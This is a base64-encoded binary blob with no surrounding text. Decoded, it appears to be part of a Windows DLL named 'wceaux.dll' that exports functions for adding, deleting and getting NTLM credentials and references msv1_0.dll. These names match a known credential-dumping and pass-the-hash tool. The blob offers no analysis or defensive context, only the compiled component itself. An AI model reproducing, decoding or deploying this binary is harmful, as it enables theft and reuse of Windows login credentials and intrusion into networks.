ACAAdABvACAAdQBzAGUAIABNAFMASQBMACAAYwBvAGQAZQAgAGYAcgBvAG0AIAB0AGgAaQBzACAAYQBzAHMAZQBtAGIAbAB5ACAAZAB1AHIAaQBuAGcAIABuAGEAdABpAHYAZQAgAGMAbwBkAGUAIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ACgBUAGgAaQBzACAAaQBuAGQAaQBjAGEAdABlAHMAIABhACAAYgB1AGcAIABpAG4AIAB5AG8AdQByACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC4AIABJAHQAIABpAHMAIABtAG8AcwB0ACAAbABpAGsAZQBsAHkAIAB0AGgAZQAgAHIAZQBzAHUAbAB0ACAAbwBmACAAYwBhAGwAbABpAG4AZwAgAGEAbgAgAE0AUwBJAEwALQBjAG8AbQBwAGkAbABlAGQAIAAoAC8AYwBsAHIAKQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAcgBvAG0AIABhACAAbgBhAHQAaQB2AGUAIABjAG8AbgBzAHQAcgB1AGMAdABvAHIAIABvAHIAIABmAHIAbwBtACAARABsAGwATQBhAGkAbgAuAA0ACgAAAAAAUgA2ADAAMwAyAA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAGMAYQBsAGUAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAAAAAAFIANgAwADMAMQANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAdABoAGUAIABDAFIAVAAgAG0AbwByAGUAIAB0AGgAYQBuACAAbwBuAGMAZQAuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuAA0ACgAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAAAAAAAAAAAAUgA2ADAAMgA4AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAaABlAGEAcAANAAoAAAAAAAAAAABSADYAMAAyADcADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AdwBpAG8AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAUgA2ADAAMgA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAcwB0AGQAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANQANAAoALQAgAHAAdQByAGUAIAB2AGkAcgB0AHUAYQBsACAAZgB1AG4AYwB0AGkAbwBuACAAYwBhAGwAbAANAAoAAAAAAAAAUgA2ADAAMgA0AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAXwBvAG4AZQB4AGkAdAAvAGEAdABlAHgAaQB0ACAAdABhAGIAbABlAA0ACgAAAAAAAAAAAFIANgAwADEAOQANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAbwBwAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABkAGUAdgBpAGMAZQANAAoAAAAAAAAAAAAAAAAAAAAAAFIANgAwADEAOAANAAoALQAgAHUAbgBlAHgAcABlAGMAdABlAGQAIABoAGUAYQBwACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAAAAAAAAAAAAUgA2ADAAMQA3AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAG0AdQBsAHQAaQB0AGgAcgBlAGEAZAAgAGwAbwBjAGsAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAdABoAHIAZQBhAGQAIABkAGEAdABhAA0ACgAAAAAAAAAAAAAAUgA2ADAAMQAwAA0ACgAtACAAYQBiAG8AcgB0ACgAKQAgAGgAYQBzACAAYgBlAGUAbgAgAGMAYQBsAGwAZQBkAA0ACgAAAAAAAAAAAAAAAABSADYAMAAwADkADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABlAG4AdgBpAHIAbwBuAG0AZQBuAHQADQAKAAAAAAAAAAAAAABSADYAMAAwADgADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABhAHIAZwB1AG0AZQBuAHQAcwANAAoAAAAAAAAAAAAAAAAAAABSADYAMAAwADIADQAKAC0AIABmAGwAbwBhAHQAaQBuAGcAIABwAG8AaQBuAHQAIABzAHUAcABwAG8AcgB0ACAAbgBvAHQAIABsAG8AYQBkAGUAZAANAAoAAAAAAAAAAAACAAAAAAAAAICPAIABAAAACAAAAAAAAAAgjwCAAQAAAAkAAAAAAAAAwI4AgAEAAAAKAAAAAAAAAHCOAIABAAAAEAAAAAAAAAAQjgCAAQAAABEAAAAAAAAAsI0AgAEAAAASAAAAAAAAAGCNAIABAAAAEwAAAAAAAAAAjQCAAQAAABgAAAAAAAAAkIwAgAEAAAAZAAAAAAAAAECMAIABAAAAGgAAAAAAAADQiwCAAQAAABsAAAAAAAAAYIsAgAEAAAAcAAAAAAAAABCLAIABAAAAHgAAAAAAAADIigCAAQAAAB8AAAAAAAAAAIoAgAEAAAAgAAAAAAAAAJCJAIABAAAAIQAAAAAAAACghwCAAQAAAHgAAAAAAAAAeIcAgAEAAAB5AAAAAAAAAFiHAIABAAAAegAAAAAAAAA4hwCAAQAAAPwAAAAAAAAAMIcAgAEAAAD/AAAAAAAAABCHAIABAAAATQBpAGMAcgBvAHMAbwBmAHQAIABWAGkAcwB1AGEAbAAgAEMAKwArACAAUgB1AG4AdABpAG0AZQAgAEwAaQBiAHIAYQByAHkAAAAAAAoACgAAAAAAAAAAAC4ALgAuAAAAPABwAHIAbwBnAHIAYQBtACAAbgBhAG0AZQAgAHUAbgBrAG4AbwB3AG4APgAAAAAAUgB1AG4AdABpAG0AZQAgAEUAcgByAG8AcgAhAAoACgBQAHIAbwBnAHIAYQBtADoAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAaAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEBgQGBAYEBgQGBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQABAAEAAQABAAEACCAYIBggGCAYIBggECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAAQABAAEAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAUABQAEAAQABAAEAAQABQAEAAQABAAEAAQABAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAAQEBAQEBAQEBAQEBAQECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQAAIBAgECAQIBAgECAQIBAgEBAQAAAAAAAAAAAAAAAICBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlae3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/0dldFByb2Nlc3NXaW5kb3dTdGF0aW9uAEdldFVzZXJPYmplY3RJbmZvcm1hdGlvblcAAAAAAAAAR2V0TGFzdEFjdGl2ZVBvcHVwAAAAAAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hXAAAAAABVAFMARQBSADMAMgAuAEQATABMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEXAQAXogAAGR4CAAwBowCwIwAACAUAABkeAgAMAY8AsCMAAGgEAAABDAIADAGPABkeAgAMAacBsCMAACANAAABCQEACaIAAAEJAQAJYgAAAQkBAAniAAABEwEAE+IAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAABEKAgAKMgYw5C0AAAEAAACRKgAAsyoAAIBxAAAAAAAACRUIABV0CgAVZAkAFTQIABVSEcDkLQAAAQAAAHErAAA7LAAApnEAAD8sAAABDwYAD2QHAA80BgAPMgtwAQwCAAwBEQABIAwAIGQRACBUEAAgNA4AIHIc8BrgGNAWwBRwEQoEAAo0BgAKMgZw5C0AAAIAAAB2MAAAgDAAAMRxAAAAAAAAlTAAALwwAADkcQAAAAAAABETBAATNAcAEzIPcOQtAAACAAAAHDIAAEkyAADEcQAAAAAAAFsyAACSMgAA5HEAAAAAAAABCgIACjIGMAEZCgAZdAkAGWQIABlUBwAZNAYAGTIVwAEGAgAGMgIwAQ8EAA80BgAPMgtwERwKABxkDwAcNA4AHHIY8BbgFNASwBBw5C0AAAEAAAA/NwAATTgAAP9xAAAAAAAAARwLABx0GAAcVBcAHDQWABwBEgAV4BPQEcAAAAEUCAAUZAoAFFQJABQ0CAAUUhBwAR0MAB10CwAdZAoAHVQJAB00CAAdMhngF9AVwAEPBgAPZAsADzQKAA9SC3ABGQoAGXQNABlkDAAZVAsAGTQKABlyFcABCgQACjQGAAoyBnABCgQACjQIAAoyBnAAAAAAAQcCAAcBmwABAAAAAQAAAAEAAAAJBAEABEIAAOQtAAABAAAAt0UAAOpFAAAwcgAA6kUAAAEVCAAVdAgAFWQHABU0BgAVMhHAARQIABRkCAAUVAcAFDQGABQyEHARFQgAFXQIABVkBwAVNAYAFTIR0OQtAAABAAAAm0cAANlHAABScgAAAAAAABEGAgAGMgIw5C0AAAEAAACHSwAAnUsAAHByAAAAAAAAGS8JAB50tQAeZLQAHjSzAB4BsAAQUAAAsCMAAHAFAAARCgQACjQHAAoyBnDkLQAAAQAAAHpOAADRTgAAi3IAAAAAAAABBgIABnICMBkfCAAQNBAAEHIM0ArACHAHYAZQsCMAADgAAAABBgIABjICUBEZCgAZxAsAGXQKABlkCQAZNAgAGVIV0OQtAAABAAAAhFMAADBUAACLcgAAAAAAAAEEAQAEQgAACQQBAARCAADkLQAAAQAAAFFXAABVVwAAAQAAAFVXAAARFwoAF2QOABc0DQAXUhPwEeAP0A3AC3DkLQAAAQAAAOlYAAB3WQAApnIAAAAAAAAZLgkAHWTEAB00wwAdAb4ADsAMcAtQAACwIwAA4AUAAAEEAQAEYgAAERkKABl0CgAZZAkAGTQIABkyFeAT0BHA5C0AAAEAAACuXAAAdF0AAMRyAAAAAAAAGS0LABtkUQAbVFAAGzRPABsBSgAU0BLAEHAAALAjAABAAgAAAQ8GAA9kCwAPNAoAD3ILcAEOAgAOMgowGS0NRR90EgAbZBEAFzQQABNDDpIK8AjgBtAEwAJQAACwIwAASAAAAAEPBgAPZBEADzQQAA/SC3AZLQ01H3QQABtkDwAXNA4AEzMOcgrwCOAG0ATAAlAAALAjAAAwAAAAAQ8GAA9kDwAPNA4AD7ILcBkeCAAPkgvgCdAHwAVwBGADUAIwsCMAAEgAAAABBAEABBIAABiiAAAAAAAAAAAAAECiAADogQAAMKAAAAAAAAAAAAAAlqYAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACGpAAAAAAAAIqmAAAAAAAASqIAAAAAAABgogAAAAAAAHCiAAAAAAAAgKIAAAAAAACUogAAAAAAAKiiAAAAAAAAvqIAAAAAAADMogAAAAAAAN6iAAAAAAAA8qIAAAAAAAAOowAAAAAAACyjAAAAAAAAQKMAAAAAAABUowAAAAAAAG6jAAAAAAAAgqMAAAAAAACQowAAAAAAAKCjAAAAAAAArqMAAAAAAAC4owAAAAAAAMijAAAAAAAA2KMAAAAAAADkowAAAAAAAPCjAAAAAAAA+KMAAAAAAAAKpAAAAAAAAB6kAAAAAAAALKQAAAAAAAA8pAAAAAAAAE6kAAAAAAAAXqQAAAAAAACUpAAAAAAAAKakAAAAAAAAvqQAAAAAAADUpAAAAAAAAO6kAAAAAAAACKUAAAAAAAAepQAAAAAAACylAAAAAAAAOqUAAAAAAABIpQAAAAAAAGKlAAAAAAAAcqUAAAAAAACIpQAAAAAAAKKlAAAAAAAAuqUAAAAAAADSpQAAAAAAAN6lAAAAAAAA6KUAAAAAAAD0pQAAAAAAAAamAAAAAAAAEqYAAAAAAAAgpgAAAAAAADCmAAAAAAAAPKYAAAAAAABSpgAAAAAAAGKmAAAAAAAAeKYAAAAAAAAAAAAAAAAAACiiAAAAAAAAAAAAAAAAAAARAEdldE1vZHVsZUluZm9ybWF0aW9uAABQU0FQSS5ETEwAIAVXaWRlQ2hhclRvTXVsdGlCeXRlAKsCR2V0VmVyc2lvbkV4QQD5AklzQmFkUmVhZFB0cgAAxgFHZXRDdXJyZW50UHJvY2VzcwAbAkdldE1vZHVsZUhhbmRsZUEAAMsBR2V0Q3VycmVudFRocmVhZElkAABbAUZsc1NldFZhbHVlAIwBR2V0Q29tbWFuZExpbmVBAM4EVGVybWluYXRlUHJvY2VzcwAA4gRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAALMEU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAIDSXNEZWJ1Z2dlclByZXNlbnQAJgRSdGxWaXJ0dWFsVW53aW5kAAAfBFJ0bExvb2t1cEZ1bmN0aW9uRW50cnkAABgEUnRsQ2FwdHVyZUNvbnRleHQAJQRSdGxVbndpbmRFeADuAEVuY29kZVBvaW50ZXIAWgFGbHNHZXRWYWx1ZQBZAUZsc0ZyZWUAgARTZXRMYXN0RXJyb3IAAAgCR2V0TGFzdEVycm9yAABYAUZsc0FsbG9jAADXAkhlYXBGcmVlAADABFNsZWVwAEwCR2V0UHJvY0FkZHJlc3MAAB4CR2V0TW9kdWxlSGFuZGxlVwAAHwFFeGl0UHJvY2VzcwDLAERlY29kZVBvaW50ZXIAfARTZXRIYW5kbGVDb3VudAAAawJHZXRTdGRIYW5kbGUAAOsCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudAD6AUdldEZpbGVUeXBlAGoCR2V0U3RhcnR1cEluZm9XANIARGVsZXRlQ3JpdGljYWxTZWN0aW9uABkCR2V0TW9kdWxlRmlsZU5hbWVBAABnAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAOEBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAA2wJIZWFwU2V0SW5mb3JtYXRpb24AAKoCR2V0VmVyc2lvbgAA1QJIZWFwQ3JlYXRlAADWAkhlYXBEZXN0cm95AKkDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAmgJHZXRUaWNrQ291bnQAAMcBR2V0Q3VycmVudFByb2Nlc3NJZACAAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lADsDTGVhdmVDcml0aWNhbFNlY3Rpb24AAPIARW50ZXJDcml0aWNhbFNlY3Rpb24AAHgBR2V0Q1BJbmZvAG4BR2V0QUNQAAA+AkdldE9FTUNQAAAMA0lzVmFsaWRDb2RlUGFnZQDTAkhlYXBBbGxvYwDaAkhlYXBSZUFsbG9jAEEDTG9hZExpYnJhcnlXAAA0BVdyaXRlRmlsZQAaAkdldE1vZHVsZUZpbGVOYW1lVwAALwNMQ01hcFN0cmluZ1cAAGkDTXVsdGlCeXRlVG9XaWRlQ2hhcgBwAkdldFN0cmluZ1R5cGVXAADcAkhlYXBTaXplAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAAAAAAAAB/m4FSAAAAAACnAAABAAAABAAAAAQAAADYpgAA6KYAAPimAACAEAAAkBYAABAUAACAFwAAC6cAACGnAAA3pwAATacAAAAAAQACAAMAd2NlYXV4LmRsbABXQ0VBZGROVExNQ3JlZGVudGlhbHMAV0NFRGVsTlRMTUNyZWRlbnRpYWxzAFdDRUdldE5UTE1DcmVkZW50aWFscwBfMDIxMkRCREhKS1NBSEQwMTgzOTIz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